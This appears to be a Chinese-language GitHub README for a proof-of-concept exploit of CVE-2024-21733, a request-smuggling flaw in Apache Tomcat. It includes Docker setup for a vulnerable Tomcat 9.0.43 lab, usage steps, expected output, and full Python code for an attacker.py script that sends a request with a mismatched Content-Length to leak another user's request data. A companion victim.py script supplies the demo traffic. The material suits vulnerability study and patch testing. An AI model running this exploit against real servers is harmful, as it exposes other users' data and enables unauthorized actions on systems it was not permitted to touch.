Apache Tomcat 请求走私漏洞 (CVE-2024-21733) 分析与 POC
本项目提供了一个针对 CVE-2024-21733 漏洞的完整概念验证 (Proof of Concept) 工具集。CVE-2024-21733 是 Apache Tomcat 中的一个高危漏洞,允许攻击者通过构造特殊的 HTTP 请求,绕过服务器端的请求解析逻辑,实现请求走私 (Request Smuggling)。攻击者可以利用此漏洞污染其他用户的请求,窃取敏感信息,或执行未授权的操作。
本工具通过 Python 脚本模拟了攻击者(attacker.py)和正常用户(victim.py)的行为,直观地展示了漏洞的利用过程。
功能特性
- 漏洞复现: 精确构造恶意 HTTP 请求,触发 Tomcat 服务器的解析异常,实现请求走私。
- 攻击演示: 包含
attacker.py和victim.py两个脚本,模拟真实场景下攻击者如何利用漏洞干扰正常用户请求。 - 环境支持: 提供基于 Docker 的测试环境配置(
tomcat:9.0.43),方便快速搭建易受攻击的测试环境。 - 详细说明: 代码中包含清晰的注释,解释关键请求参数(如
Content-Length)的构造思路和漏洞触发机制。
安装指南
系统要求
- Python 3.x
- Docker 和 Docker Compose(用于搭建测试环境)
步骤
-
克隆项目
git clone https://github.com/your-username/CVE-2024-21733-POC.git cd CVE-2024-21733-POC -
启动易受攻击的 Tomcat 环境 使用提供的
docker-compose.yml启动 Tomcat 9.0.43 版本。docker-compose up -d -
部署漏洞文件 将项目中的
vulnerable.jsp文件复制到 Tomcat 的ROOT目录下。你需要进入容器或通过 Docker 卷挂载来完成此操作。该 JSP 文件用于模拟一个易受攻击的后端应用,它会解析 GET 请求中的id参数并输出。 -
运行攻击脚本 确保 Tomcat 运行正常后,即可运行 Python 脚本进行漏洞验证。
使用说明
1. 模拟正常用户请求 (victim.py)
此脚本模拟一个正常的客户端,向服务器发送一个完整的 POST 请求,并保持连接。它将作为“受害者”,其连接将被攻击者利用。
python victim.py
运行后,你会看到:
[*] Sending and receive normal request...
[*] Received normal response:
[此处为服务器返回的正常响应]
[*] Press Enter to close socket connection...
此时,脚本在接收完正常响应后,会保持 Socket 连接打开,等待用户按键关闭。不要立即关闭,保持此终端窗口运行。
2. 模拟攻击者进行漏洞利用 (attacker.py)
在另一个终端窗口中,运行攻击脚本。它会向同一服务器发送一个精心构造的、带有错误 Content-Length 头的请求,导致服务器解析状态异常。
python attacker.py
运行后,你会看到类似以下输出,表明漏洞触发成功:
[*] Sending payload and waiting for timeout...
[!] Received (if) vulnerable response:
HTTP/1.1 200 OK
...
Invalid character found in method name. HTTP method names must be tokens
...
注意,响应中出现了 Invalid character found in method name 的异常信息。这表示攻击者的恶意请求已经干扰了服务器对另一个请求(即 victim.py 的请求)的解析,从而实现了请求走私。
3. 观察结果
攻击脚本运行后,回到运行 victim.py 的终端窗口,按 Enter 键关闭连接。如果漏洞利用成功,你会在 attacker.py 的输出中看到部分原本属于 victim.py 请求的 id 数据,这意味着攻击者成功污染了正常的请求流。
核心代码
攻击者脚本 (attacker.py 核心逻辑)
此代码片段展示了漏洞利用的关键部分:构造一个 Content-Length 头与实际发送的 POST 体长度不匹配的请求,导致 Tomcat 服务器解析器进入一个不一致的状态。
import socket
# 服务器地址和端口
server_address = ("127.0.0.1", 8080)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(server_address)
# 构造恶意请求:Content-Length 声称有100字节,但实际发送的 body 远小于此
request_headers = (
"POST /vulnerable.jsp HTTP/1.1\r\n"
"Host: localhost\r\n"
"Connection: keep-alive\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 100\r\n" # 关键点:声称的 Content-Length 大于实际 body 长度
"\r\n"
)
incomplete_body = "incomplete_data=0" # 实际发送的 body 长度远小于 100
print("[*] Sending payload and waiting for timeout...")
s.sendall(request_headers.encode("utf-8"))
s.sendall(incomplete_body.encode("utf-8"))
# 接收响应,可能包含由请求走私导致的异常信息或其他用户的请求数据
response = []
for i in range(5):
data = s.recv(2048)
response.append(data)
data = b"".join(response).decode("utf-8").rstrip("0x00")
print(f"[!] Received (if) vulnerable response:\n{data}")
except Exception as e:
print(f"An error occurred: {e}")
finally:
s.close()
if __name__ == "__main__":
main()
正常用户脚本 (victim.py 核心逻辑)
此代码片段模拟了一个正常的客户端,发送一个完整的、符合规范的 POST 请求,并保持连接,用于演示攻击者的恶意请求如何干扰正常的请求流。
import socket
server_address = ("127.0.0.1", 8080)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(server_address)
# 构造一个正常的 POST 请求,Content-Length 与实际 body 长度一致
post_request = (
"POST /vulnerable.jsp HTTP/1.1\r\n"
"Host: localhost\r\n"
"Connection: keep-alive\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 1488\r\n"
"\r\n"
"id=123456789..." # 一个很长的 id 参数
)
print("[*] Sending and receive normal request...")
s.sendall(post_request.encode("utf-8"))
# 接收服务器返回的正常响应
response = []
while True:
data = s.recv(1024)
if not data:
break
response.append(data)
data = b"".join(response).decode("utf-8")
print(f"[*] Received normal response:\n{data}")
# 保持连接,等待攻击者利用
input("[*] Press Enter to close socket connection...")
except Exception as e:
print(f"An error occurred: {e}")
finally:
s.close()
if __name__ == "__main__":
main()
6HFtX5dABrKlqXeO5PUv/z/mB/nN3mZe8tqez3oTaZM=